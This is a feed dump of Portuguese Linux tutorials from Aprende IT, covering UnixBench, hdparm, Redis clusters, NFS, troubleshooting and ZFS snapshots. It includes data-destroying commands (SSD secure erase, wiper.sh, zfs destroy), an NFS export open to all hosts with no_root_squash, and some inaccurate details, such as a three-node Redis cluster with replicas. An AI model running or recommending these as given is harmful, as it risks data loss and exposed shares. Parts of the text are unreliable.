Explorar e experimentar com o Linux pode ser uma experiência recompensadora e educativa. No entanto, é crucial fazê-lo com conhecimento e precaução. Os comandos discutidos aqui representam apenas uma fração do que é possível (e potencialmente perigoso) no terminal. A regra de ouro é simples: se não tem a certeza do que um comando faz, investigue antes de executá-lo. Proteger o seu sistema é proteger o seu trabalho, as suas memórias e, em última análise, a sua paz de espírito.

 

 

La entrada Comandos que não devem ser executados no Linux se publicó primero en Aprende IT.

]]>
https://aprendeit.com/pt/comandos-que-nao-devem-ser-executados-no-linux/feed/ 0
Testes de Desempenho em Linux com UnixBench https://aprendeit.com/pt/testes-de-desempenho-em-linux-com-unixbench/ https://aprendeit.com/pt/testes-de-desempenho-em-linux-com-unixbench/#respond Tue, 26 Dec 2023 06:46:32 +0000 https://aprendeit.com/?p=5984 Para entusiastas de Linux, realizar testes de desempenho é fundamental para aproveitar ao máximo os seus sistemas. UnixBench é uma ferramenta essencial neste processo, oferecendo uma análise detalhada do desempenho ...

La entrada Testes de Desempenho em Linux com UnixBench se publicó primero en Aprende IT.

]]>
Para entusiastas de Linux, realizar testes de desempenho é fundamental para aproveitar ao máximo os seus sistemas. UnixBench é uma ferramenta essencial neste processo, oferecendo uma análise detalhada do desempenho dos sistemas Linux e Unix.

O que é UnixBench?

UnixBench é um conjunto de testes de desempenho de código aberto projetado para sistemas Unix e Linux. Caracteriza-se pela facilidade de uso e profundidade, permitindo medir o desempenho de vários componentes do sistema.

Instalação do UnixBench

A instalação do UnixBench é simples e é realizada através de alguns comandos no terminal:
Clona o repositório do UnixBench:

git clone https://github.com/kdlucas/byte-unixbench.git

Acede ao diretório UnixBench:

cd byte-unixbench/UnixBench

Compila e constrói o UnixBench:

make

Executando o Teu Primeiro Teste com UnixBench

Para lançar o teu primeiro teste, segue estes passos:
Na mesma pasta do UnixBench, executa:

./Run

Isso iniciará uma série de testes que avaliarão diferentes aspetos do teu sistema.

Análise dos Resultados

Os resultados do UnixBench são apresentados em forma de pontuações e dados, proporcionando uma ideia clara do desempenho do teu sistema em áreas como a CPU, a memória e as operações de disco.

Testes Avançados

O UnixBench permite realizar testes específicos para diferentes componentes. Por exemplo, para focar na CPU:

./Run dhry2reg whetstone-double

Personalizando os Testes

O UnixBench oferece a flexibilidade de personalizar os testes. Podes escolher quais testes executar e adaptá-los às tuas necessidades específicas.

Monitorização em Tempo Real

Enquanto os testes estão a decorrer, é útil realizar uma monitorização em tempo real do sistema usando ferramentas como top ou htop.

Testes de Desempenho de Rede

Além dos componentes básicos, o UnixBench também pode avaliar o desempenho da rede do teu sistema, um aspeto crucial para servidores ou ambientes dependentes de rede.

Integração com Ferramentas de Monitorização

O UnixBench pode ser integrado com ferramentas avançadas de monitorização de sistemas, proporcionando uma análise detalhada do desempenho do sistema durante os testes.

Dicas para Otimizar o Desempenho

Após os testes, podes identificar áreas para melhorias e começar a otimizar o teu sistema, ajustando configurações, atualizando hardware ou modificando o ambiente de software.

La entrada Testes de Desempenho em Linux com UnixBench se publicó primero en Aprende IT.

]]>
https://aprendeit.com/pt/testes-de-desempenho-em-linux-com-unixbench/feed/ 0
Utilitário hdparm: Afina o Teu Disco https://aprendeit.com/pt/utilitario-hdparm-afina-o-teu-disco/ https://aprendeit.com/pt/utilitario-hdparm-afina-o-teu-disco/#respond Tue, 05 Dec 2023 06:41:16 +0000 https://aprendeit.com/?p=5949 Queres tirar o máximo partido do teu disco rígido ou SSD? O hdparm é a tua ferramenta. Desenvolvido por Mark Lord em 2005, esta utilidade Linux permite-te diagnosticar e otimizar ...

La entrada Utilitário hdparm: Afina o Teu Disco se publicó primero en Aprende IT.

]]>
Queres tirar o máximo partido do teu disco rígido ou SSD? O hdparm é a tua ferramenta. Desenvolvido por Mark Lord em 2005, esta utilidade Linux permite-te diagnosticar e otimizar o teu disco, controlar a sua velocidade, gerir a poupança de energia e até apagar de forma segura SSDs.

Instalação e Uso Básico

A maioria das distribuições Linux já inclui o hdparm. Para começar, abre um terminal e executa:

 hdparm -I /dev/sda | more

Este comando mostrar-te-á toda a informação disponível sobre o teu disco, incluindo o modelo e a versão do firmware.

Medindo a Velocidade do Disco

Para conhecer a velocidade de transferência de dados do teu disco, utiliza:

 hdparm -t /dev/sda

Repete a medição várias vezes para obter uma média. Se quiseres medir a velocidade pura do disco, sem o efeito do buffer do sistema, usa hdparm -t --direct /dev/sda. Podes também especificar um deslocamento com hdparm -t --direct --offset 500 /dev/sda para testar diferentes áreas do disco.

Otimizando a Transmissão de Dados

Para melhorar a transmissão de dados, o hdparm permite ajustar a quantidade de setores que são lidos de uma vez com o comando:

hdparm -m16 /dev/sda

Este comando configura a leitura de 16 setores simultaneamente. Além disso, podes ativar a função “read-ahead” com hdparm -a256 /dev/sda, o que faz com que o disco leia antecipadamente 256 setores.

Controlo do Modo 32-Bit e do Ruído do Disco

Com hdparm -c /dev/sda, podes verificar se o teu disco está a funcionar em modo 32-bit, e forçar este modo com -c3. Se o teu disco é ruidoso, podes reduzir o ruído ativando o “modo acústico” com hdparm -M 128 /dev/sda, ou maximizar a velocidade com `hdparm -M 254 /dev/sda​​​​.

Gestão da Cache de Escrita

O comando hdparm -W /dev/sda permite-te ativar ou desativar a cache de escrita, o que pode acelerar a escrita de dados mas com o risco de perda de dados em caso de cortes de energia.

Configuração do Modo de Poupança de Energia

Podes gerir a poupança de energia do disco com hdparm -B255 /dev/sda para a desativar, ou usar valores entre 1 e 254 para diferentes níveis de poupança e desempenho. Com hdparm -S 128 /dev/sda, ajustas o tempo de inatividade antes de o disco entrar em modo de repouso.

Limpeza de SSDs

Os SSDs podem acumular blocos de dados residuais. Para limpá-los, usa o script wiper.sh /dev/sda, mas com precaução, pois pode levar à perda de dados.

Apagamento Seguro em SSDs

Para apagar de forma segura um SSD, o hdparm oferece a função de “apagamento seguro” com

hdparm --user-master u --security-erase 123456 /dev/sdb

Este processo elimina completamente os dados, mas requer precaução, pois pode tornar o SSD inutilizável em alguns casos.

Manuseamento de Discos IDE Antigos

Para os discos IDE, é importante rever e configurar o DMA com hdparm -d1 /dev/hda para melhorar a transferência de dados. Se encontrares problemas, desativa-o com `hdparm -d0 /dev/hda​​.

Mantendo as Alterações Após Reiniciar

Para garantir que as alterações feitas com o hdparm persistam após reiniciar, deves adicioná-las aos scripts de arranque do sistema ou, em sistemas baseados em Debian, no arquivo /etc/hdparm.conf.
Lembra-te que esta é uma ferramenta poderosa e deve ser usada com conhecimento. Faz sempre cópias de segurança antes de realizar alterações significativas e consulta a documentação específica.

La entrada Utilitário hdparm: Afina o Teu Disco se publicó primero en Aprende IT.

]]>
https://aprendeit.com/pt/utilitario-hdparm-afina-o-teu-disco/feed/ 0
Como Criar um Cluster Redis: Guia Passo a Passo https://aprendeit.com/pt/como-criar-um-cluster-redis-guia-passo-a-passo/ https://aprendeit.com/pt/como-criar-um-cluster-redis-guia-passo-a-passo/#respond Mon, 27 Nov 2023 09:25:31 +0000 https://aprendeit.com/?p=5916 Olá! Se estás aqui, provavelmente queres aprender a configurar um cluster Redis. Vamos avançar passo a passo, explicando cada detalhe para que possas implementá-lo sem problemas. O Redis, como sabes, ...

La entrada Como Criar um Cluster Redis: Guia Passo a Passo se publicó primero en Aprende IT.

]]>
Olá! Se estás aqui, provavelmente queres aprender a configurar um cluster Redis. Vamos avançar passo a passo, explicando cada detalhe para que possas implementá-lo sem problemas. O Redis, como sabes, é uma base de dados em memória, famosa pela sua rapidez e eficiência no manuseio de dados chave-valor. Um cluster Redis não só melhora a disponibilidade e a partição de dados, mas também é essencial para sistemas em grande escala.

Preparando o Ambiente

Antes de começares, precisas de ter o Redis instalado no teu sistema. Podes descarregá-lo da sua página oficial. Uma vez instalado, verifica o seu funcionamento com o comando redis-server. Deverás ver uma mensagem a indicar que o Redis está a funcionar.

Configuração Inicial dos Nós

Um cluster Redis é composto por vários nós. Para este exemplo, vamos configurar três nós na mesma máquina para simplificar. Cria três diretórios diferentes, cada um representando um nó Redis. Em cada diretório, precisarás de um ficheiro de configuração para o nó. Podes nomeá-lo redis.conf.
Dentro do redis.conf, estabelece as seguintes configurações:

conf
Copia código
port [PORTO_DO_NÓ]
cluster-enabled yes
cluster-config-file nodes.conf
cluster-node-timeout 5000
appendonly yes

Certifica-te de mudar [PORTO_DO_NÓ] para um porto único para cada nó.

Iniciando os Nós

Agora, inicia cada nó Redis com a sua respetiva configuração. Abre um terminal para cada nó e executa:

redis-server ./redis.conf
Criando o Cluster

Com os nós em execução, é hora de formar o cluster. O Redis fornece uma ferramenta chamada redis-cli para lidar com tarefas administrativas. Usa-a para criar o cluster com o seguinte comando:

redis-cli --cluster create [IP_NÓ1]:[PORTO1] [IP_NÓ2]:[PORTO2] [IP_NÓ3]:[PORTO3] --cluster-replicas 1

Certifica-te de substituir [IP_NÓ] e [PORTO] pelos endereços IP e portos correspondentes dos teus nós.

Verificação do Cluster

Após criar o cluster, verifica o seu estado com:

redis-cli --cluster check [IP_NÓ]:[PORTO]

Este comando dar-te-á um relatório detalhado do estado do teu cluster.

Manuseando Chaves no Cluster

Agora que tens o teu cluster, é importante saberes como manusear chaves dentro dele. O Redis manuseia chaves através de uma técnica chamada sharding, onde as chaves são distribuídas entre os diferentes nós.
Para inserir uma chave, utiliza:

redis-cli -c -p [PORTO] SET [NOME_CHAVE] [VALOR]

Para recuperar uma chave:

redis-cli -c -p [PORTO] GET [NOME_CHAVE]

Lembra-te que -c permite que o redis-cli redirecione automaticamente o comando para o nó correto.

Manuseamento de Erros e Recuperação

É vital que saibas como manusear situações quando algo corre mal. Num cluster Redis, se um nó falhar, o sistema tentará automaticamente usar uma réplica para manter a disponibilidade. No entanto, é importante monitorizar o estado do cluster e realizar manutenções regulares.
Para verificar o estado dos nós, usa:

redis-cli -p [PORTO] CLUSTER NODES

Se um nó falhar e precisares de o substituir, podes fazê-lo sem parar o cluster. Segue os passos de configuração inicial para um novo nó e depois usa-o para substituir o nó falhado com o redis-cli.

Escalando o Teu Cluster

À medida que a tua aplicação cresce, poderás precisar de escalar o teu cluster. O Redis permite-te adicionar mais nós ao cluster sem interrupções. Para adicionar um novo nó, configura-o como vimos anteriormente e depois usa-o no cluster com:

redis-cli --cluster add-node [IP_NOVO_NÓ]:[NOVO_PORTO] [IP_NÓ_EXISTENTE]:[PORTO_EXISTENTE]

Depois, se necessário, podes reequilibrar as chaves entre os nós.

Manutenção e Monitorização

A manutenção regular é crucial. Certifica-te de manter a tua versão do Redis atualizada e de rever os logs regularmente. Também é boa ideia configurar um sistema de monitorização para receber alertas sobre problemas no cluster.
Espero que este guia tenha sido útil para criares e gerires o teu cluster Redis. Como viste, com alguns comandos e alguma configuração, podes ter um sistema robusto e escalável. Lembra-te que a prática leva à perfeição, por isso não hesites em experimentar e aprender mais sobre este poderoso sistema.

La entrada Como Criar um Cluster Redis: Guia Passo a Passo se publicó primero en Aprende IT.

]]>
https://aprendeit.com/pt/como-criar-um-cluster-redis-guia-passo-a-passo/feed/ 0
Como Configurar um Servidor NFS: Guia Passo a Passo para Ubuntu, Debian e Distribuições Baseadas no Red Hat https://aprendeit.com/pt/como-configurar-um-servidor-nfs-guia-passo-a-passo-para-ubuntu-debian-e-distribuicoes-baseadas-no-red-hat/ https://aprendeit.com/pt/como-configurar-um-servidor-nfs-guia-passo-a-passo-para-ubuntu-debian-e-distribuicoes-baseadas-no-red-hat/#respond Tue, 17 Oct 2023 05:59:25 +0000 https://aprendeit.com/?p=5570 O Network File System, ou NFS, é uma ferramenta essencial que permite partilhar ficheiros e diretórios entre servidores e clientes numa rede. É uma das maneiras mais simples e eficientes ...

La entrada Como Configurar um Servidor NFS: Guia Passo a Passo para Ubuntu, Debian e Distribuições Baseadas no Red Hat se publicó primero en Aprende IT.

]]>
O Network File System, ou NFS, é uma ferramenta essencial que permite partilhar ficheiros e diretórios entre servidores e clientes numa rede. É uma das maneiras mais simples e eficientes de partilhar recursos em sistemas baseados em Linux. Se estás a pensar em montar o teu próprio servidor NFS em distribuições como Ubuntu, Debian, CentOS, Rocky Linux, Alma Linux ou Fedora, vieste ao sítio certo! Vou mostrar-te como fazer, passo a passo.

Um pouco sobre o NFS

Antes de nos aprofundarmos na configuração, vale a pena perceber o que é o NFS. É um protocolo que permite que máquinas Linux (e outras como MacOS ou sistemas UNIX) montem diretórios remotos como se fossem locais. Portanto, se tens vários dispositivos na tua rede, podes partilhar ficheiros entre eles de forma transparente com o NFS. Fixe, certo?

Por que é essencial configurar um servidor NFS?

Se tens um negócio, ou simplesmente vários dispositivos em casa, a partilha de ficheiros pode ser uma tarefa diária. Imagina que todas as vezes que quisesses partilhar um ficheiro, tivesses de usar uma pen. Seria uma loucura! É aqui que o NFS entra, permitindo partilhar diretórios entre vários dispositivos sem complicações.

Configuração para Ubuntu e Debian

Começamos pelo Ubuntu e Debian, duas das distribuições mais amigáveis para quem se inicia no mundo Linux. Apesar dos passos serem muito parecidos, há sempre uma pequena variação que vale a pena referir.

Preparativos

Antes de mais, garante que o teu sistema está atualizado. Abre o terminal e executa:

sudo apt update && sudo apt upgrade

Instalar os pacotes necessários

No teu terminal, instala os pacotes que vamos precisar para configurar o servidor NFS:

sudo apt install nfs-kernel-server

Configurar os diretórios a partilhar

Supõe que queres partilhar o diretório /home/o_teu_utilizador/partilhado. Primeiro, deves atribuir-lhe as permissões adequadas:

sudo chown nobody:nogroup /home/o_teu_utilizador/partilhado

Depois, tens de modificar o ficheiro /etc/exports para definir quais diretórios queres partilhar:

sudo nano /etc/exports

Adiciona a seguinte linha:

/home/o_teu_utilizador/partilhado *(rw,sync,no_subtree_check)

Iniciar o serviço NFS

Com tudo preparado, só precisas de iniciar o serviço e certificar-te que ele é executado ao arrancar o sistema:

sudo systemctl start nfs-kernel-server
sudo systemctl enable nfs-kernel-server

Configuração para CentOS, Rocky Linux, Alma Linux e Fedora

Se estás no lado do Red Hat, com distribuições como CentOS, Rocky Linux, Alma Linux ou Fedora, o processo é igualmente simples, mas com algumas diferenças.

Instalar os pacotes necessários

Abre o teu terminal e escreve:

sudo dnf install nfs-utils

Ajustar os serviços

Para garantir que o NFS funcione corretamente, vais precisar de ativar e iniciar alguns serviços:

sudo systemctl enable rpcbind nfs-server
sudo systemctl start rpcbind nfs-server

Configurar os diretórios a partilhar

Se o diretório que queres partilhar é /home/o_teu_utilizador/partilhado, garante que tem as permissões corretas:

sudo chown nobody:nogroup /home/o_teu_utilizador/partilhado

Depois, tal como com Ubuntu e Debian, modifica o ficheiro /etc/exports:

sudo nano /etc/exports

E adiciona:

/home/o_teu_utilizador/partilhado *(rw,sync,no_root_squash)

Ajustes finais e reiniciar serviços

Após configurar os diretórios a partilhar, faz com que o NFS reconheça as alterações:

sudo exportfs -r

Segurança no NFS

Configurar o NFS é fácil, mas não te esqueças de um aspeto crucial: a segurança. Garante que apenas partilhas os diretórios necessários e limita o acesso a IPs confiáveis. Considera também o uso de firewalls e, se possível, configurações adicionais como SELinux ou AppArmor.

Dando o próximo passo

Agora que já sabes como configurar um servidor NFS nas distribuições mais populares, é hora de meteres mãos à obra. Como viste, embora haja algumas diferenças dependendo da distribuição, o processo é bastante direto. Não há desculpas para não teres o teu servidor NFS a funcionar!

Lembra-te sempre de testar e fazer backups antes de realizar alterações em ambientes de produção. E se alguma vez te sentires perdido, volta aqui; estou aqui para ajudar! Boa sorte na tua aventura com o NFS!

La entrada Como Configurar um Servidor NFS: Guia Passo a Passo para Ubuntu, Debian e Distribuições Baseadas no Red Hat se publicó primero en Aprende IT.

]]>
https://aprendeit.com/pt/como-configurar-um-servidor-nfs-guia-passo-a-passo-para-ubuntu-debian-e-distribuicoes-baseadas-no-red-hat/feed/ 0
10 Problemas Comuns no Linux e Como Resolvê-los https://aprendeit.com/pt/10-problemas-comuns-no-linux-e-como-resolve-los/ https://aprendeit.com/pt/10-problemas-comuns-no-linux-e-como-resolve-los/#respond Tue, 05 Sep 2023 05:42:08 +0000 https://aprendeit.com/?p=5482 Se estás imerso no mundo Linux ou simplesmente estás a considerar a hipótese, certamente perguntas-te: que problemas posso encontrar e como os resolvo? Bem, não te preocupes, pois aqui trago-te ...

La entrada 10 Problemas Comuns no Linux e Como Resolvê-los se publicó primero en Aprende IT.

]]>
Se estás imerso no mundo Linux ou simplesmente estás a considerar a hipótese, certamente perguntas-te: que problemas posso encontrar e como os resolvo? Bem, não te preocupes, pois aqui trago-te alguns dos problemas mais comuns que poderás encontrar e, claro, como contorná-los.

Sistema não arranca após uma atualização

Imagina: acabaste de fazer uma atualização e de repente, pumba! O teu sistema não arranca. É chato, mas há uma solução. Provavelmente, algo no kernel ou nos drivers não está a funcionar corretamente.

Solução: Uma opção é arrancar com um kernel anterior. Quando aparecer o menu GRUB (gestor de arranque), escolhe uma versão anterior do kernel. Se tudo funcionar bem, talvez deves considerar manter esse kernel até que os problemas com o novo sejam resolvidos.

Conexão Wi-Fi não funciona

Por vezes, o Linux pode ser um pouco esquisito com os drivers Wi-Fi. Se a tua conexão não estiver a funcionar, poderás precisar de instalar ou atualizar o driver adequado.

Solução: Liga o teu computador à Internet através de um cabo Ethernet e procura os drivers certos para a tua placa Wi-Fi. Normalmente, o gestor de drivers da tua distribuição dar-te-á opções para instalá-los.

Problemas de resolução de ecrã

Se o teu ecrã parecer desfocado ou a resolução estiver errada, é possível que o Linux não esteja a reconhecer corretamente o teu monitor ou a tua placa gráfica.

Solução: Vai às configurações de ecrã do teu sistema e experimenta diferentes resoluções. Se isso não funcionar, considera instalar ou atualizar os drivers da tua placa gráfica.

Sem som

Não ouves nada? Que chatice! Mas não stresses, muitas vezes é uma solução fácil.

Solução: Primeiro, verifica se o som não está silenciado e se o volume está num nível adequado. Se isso não resolver, vai ao gestor de som e certifica-te de que a saída está configurada corretamente. Por fim, se ainda não funcionar, poderás precisar de instalar ou atualizar os teus drivers de som.

Não consigo instalar um programa

O Linux tem uma multitude de repositórios de software, mas às vezes, o programa que queres não está lá.

Solução: Procura um pacote .deb ou .rpm no site oficial do programa. Uma vez descarregado, abre o centro de software da tua distribuição e segue as instruções para a instalação. Se o software não oferecer pacotes para Linux, poderás experimentar ferramentas como o Wine para executar aplicações do Windows.

Sistema congela

É raro, mas acontece. Se o Linux congelar, há um par de coisas que podes tentar.

Solução: Tenta mudar para um terminal virtual pressionando Ctrl+Alt e uma tecla F (de F1 a F7). A partir daí, podes tentar reiniciar a interface gráfica com sudo service lightdm restart ou o comando apropriado para o teu gestor de ecrã. Se isso não funcionar, talvez precises de reiniciar a tua máquina.

Problemas com permissões de ficheiros

Se receberes uma mensagem a dizer que não tens permissões para aceder ou modificar um ficheiro, não desesperes.

Solução: Abre um terminal e usa o comando chmod para alterar as permissões do ficheiro. Se não tiveres a certeza de como usá-lo, procura um guia sobre chmod e chown. Mas tem cuidado e certifica-te de que sabes o que estás a fazer.

Sistema não reconhece o meu USB

Por vezes, ao ligar um dispositivo USB, o Linux não o reconhece.

Solução: Primeiro, tenta ligá-lo noutra porta. Se isso não funcionar, abre um terminal e digita lsusb para ver se o sistema o reconhece. Se aparecer na lista, talvez só precises de montá-lo manualmente.

Erros ao atualizar o sistema

Ocasionalmente, ao tentar atualizar, podes encontrar erros que impedem a conclusão.

Solução: Abre um terminal e executa sudo apt-get update seguido de sudo apt-get upgrade (ou os comandos correspondentes para o teu gestor de pacotes). Se encontraste erros, tenta procurá-los online; provavelmente, alguém já encontrou uma solução.

Não consigo aceder a um servidor SSH

Se tens problemas a aceder a um servidor via SSH, não estás sozinho.

Solução: Certifica-te de que o serviço SSH está ativo no servidor e de que não há um firewall a bloquear a porta 22. Também poderás precisar de gerar ou renovar as tuas chaves SSH na tua máquina cliente.

E pronto! Aqui tens alguns dos problemas mais comuns que poderás encontrar ao usar o Linux e como resolvê-los. Lembra-te, a comunidade Linux é vasta e sempre disposta a ajudar, por isso, se tiveres um problema, certamente alguém já passou pelo mesmo e pode dar uma ajuda. Força e desfruta do Linux!

La entrada 10 Problemas Comuns no Linux e Como Resolvê-los se publicó primero en Aprende IT.

]]>
https://aprendeit.com/pt/10-problemas-comuns-no-linux-e-como-resolve-los/feed/ 0
Tudo o que Precisas Saber sobre Snapshots em ZFS https://aprendeit.com/pt/tudo-o-que-precisas-saber-sobre-snapshots-em-zfs/ https://aprendeit.com/pt/tudo-o-que-precisas-saber-sobre-snapshots-em-zfs/#respond Tue, 08 Aug 2023 18:33:33 +0000 https://aprendeit.com/?p=5391 Olá! Se estás aqui, é porque queres mergulhar no fascinante mundo do ZFS, especialmente tudo que envolve snapshots. Pois bem, estás com sorte. Hoje, vou guiar-te através das maravilhas deste ...

La entrada Tudo o que Precisas Saber sobre Snapshots em ZFS se publicó primero en Aprende IT.

]]>
Olá! Se estás aqui, é porque queres mergulhar no fascinante mundo do ZFS, especialmente tudo que envolve snapshots. Pois bem, estás com sorte. Hoje, vou guiar-te através das maravilhas deste sistema de ficheiros e mostrar como os snapshots podem tornar-se os teus melhores aliados. Vamos a isto!

ZFS: Mais do Que um Simples Sistema de Ficheiros

Antes de explorarmos os snapshots, deixa-me dar-te algum contexto sobre o ZFS. É um sistema de ficheiros e gestor de volumes simplesmente brilhante. Não apenas pelas suas funcionalidades avançadas, mas também pela sua eficiência e flexibilidade.

O que Raio é um Snapshot?

Um snapshot é como uma fotografia dos teus dados num momento específico. Imagina poder congelar o tempo e capturar exatamente como os teus ficheiros e pastas parecem naquele exato momento. Isso é um snapshot. É uma ferramenta essencial se alguma vez precisares de reverter alterações, recuperar dados perdidos ou simplesmente espreitar o passado.

A Magia por trás dos Snapshots ZFS

O ZFS tem uma característica peculiar chamada COW, que significa “Copy On Write” (Cópia ao Escrever). Basicamente, quando fazes alterações, o ZFS não reescreve os teus dados originais. Em vez disso, cria um novo bloco para essas alterações. Assim, os snapshots do ZFS não ocupam espaço adicional, a menos que modifiques os dados originais. Além disso, criar um snapshot em ZFS demora apenas segundos, independentemente da quantidade de dados que tenhas.

Capturando um Instantâneo dos Teus Dados

Para criar um snapshot em ZFS, o comando é simples: zfs snapshot. Vamos supor que tens um conjunto de dados chamado my_data e queres fazer um snapshot dele. Basta executar:

zfs snapshot my_pool/my_data@snapshot_today

E pronto! Capturaste uma fotografia do teu conjunto de dados.

Não Consigo Ver os Meus Snapshots! Onde Estão?

Ah, pequeno detalhe. O ZFS tem uma propriedade chamada listsnapshots que controla se vês os snapshots quando listas os teus conjuntos de dados. Por padrão, esta opção está ativada, por isso deves ver os teus snapshots sem qualquer problema. Mas se, por algum motivo, não conseguires, alguém pode ter desativado esta propriedade.

Se suspeitares que algo não está bem, verifica o estado com:

zpool get listsnapshots nome_do_pool

Para desativar ou ativar a visibilidade do snapshot, usa:

zpool set listsnapshots=off nome_do_pool

Ou:

zpool set listsnapshots=on nome_do_pool

Resgatando Dados do Passado

Vamos imaginar que cometeste um erro (acontece aos melhores de nós) e queres reverter para um estado anterior dos teus dados. Os snapshots ZFS estão aqui para salvar o dia. Podes aceder aos dados de qualquer snapshot navegando para o diretório .zfs/snapshot/ dentro do conjunto de dados original. A partir daí, ou copias o que precisas ou restauras todo o conjunto de dados.

Revertendo para um Snapshot Anterior

Se quiseres ir mais longe e restaurar todo o teu conjunto de dados ao estado de um snapshot anterior, há um comando para isso: zfs rollback. Vamos supor que tens um conjunto de dados chamado home/matt e queres voltar ao estado do snapshot chamado tuesday. Só tens de fazer:

zfs rollback tank/home/matt@tuesday

Isto trará tudo de volta a como estava naquele glorioso terça-feira.

Limpeza de Primavera: Eliminando Snapshots Antigos

Com o passar do tempo, podes acumular muitos snapshots. Alguns deles podem já não ser necessários. Para te livrares dessas memórias antigas, usa o comando:

zfs destroy nome_do_pool/nome_do_conjunto_de_dados@nome_do_snapshot

Benefícios dos Snapshots: Além da Recuperação de Dados

Sim, os snapshots são ótimos para recuperar de erros, mas têm mais utilidades. Podes usá-los para testar alterações num ambiente seguro. Se algo correr mal, basta reverter para o snapshot, e tudo fica bem. Também são excelentes ferramentas para fazer cópias de segurança e replicar dados para outros sistemas.

Liderando o Caminho com o ZFS!

Os snapshots do ZFS não são apenas mais uma funcionalidade. São um testemunho do poder e versatilidade deste sistema de ficheiros. Agora que já estás bem familiarizado com eles, espero que os uses ao máximo.

A migração e clonagem com snapshots, garantindo a segurança e a privacidade, e as maravilhas da automação esperam por ti no mundo do ZFS. Mergulha, cria os teus snapshots, e descobre tudo o que eles podem oferecer-te.

Até à nossa próxima aventura tecnológica! Aproveita o ZFS e explora todo o seu potencial!

La entrada Tudo o que Precisas Saber sobre Snapshots em ZFS se publicó primero en Aprende IT.

]]>
https://aprendeit.com/pt/tudo-o-que-precisas-saber-sobre-snapshots-em-zfs/feed/ 0